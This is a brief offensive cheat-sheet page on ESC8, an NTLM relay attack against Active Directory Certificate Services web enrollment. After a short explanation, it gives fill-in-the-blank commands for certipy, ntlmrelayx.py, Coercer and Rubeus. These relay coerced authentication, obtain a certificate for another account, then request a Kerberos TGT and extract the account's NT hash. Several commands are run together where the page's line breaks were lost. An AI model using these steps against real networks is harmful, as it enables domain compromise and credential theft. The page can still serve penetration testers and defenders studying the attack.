ESC8
TL;DR
ESC8 lets you obtain a certificate on behalf of an elevated computer/user account and use that certificate for client authentication using Kerberos.
A template can be vulnerable to ESC8 if the certificate enrollment web interface is available, typically running at http://[AD CS Server]/certserv/. This HTTP-based certificate enrollment interface is vulnerable to an NTLM relay attack that would allow an attacker to obtain a certificate as another user or computer account.
To exploit ESC8, we need a method of coercing a target computer to authenticate to an attacker controller computer. This is commonly done by abusing Remote Procedure Call (RPC) interfaces on a computer that would allow the attacker to trigger authentication.
When the target computer attempts to authenticate to the attacker computer, we will then need to relay the authentication traffic from the target computer to the HTTP-based certificate enrollment interface.
Once the certificate is obtained, we can use the certificate to obtain a Kerberos Ticket Granting Ticket (TGT) for the computer account using the PKINIT Kerberos extension.
Exploit
Set Up Relay On Attacker Computer
certipy relay -target 'http://[CA FDQN]' -template [template]ntlmrelayx.py -t http://[CA FDQN]/certsrv/certfnsh.asp -smb2support --adcsCoerce A Target Computer To Authenticate to the Attacker's Computer
Coercer coerce -l [attacker ip] -t [target ip] -u [username] -p [password] -d [domain]Obtain The Target Computer Account's NT Hash
certipy auth -pfx [.pfx output] -dc-ip [DC IP]Rubeus.exe asktgt /user:[user] /domain:[domain] /dc:[DC FDQN] /getcredentials /certificate:[base64 certificate]Last updated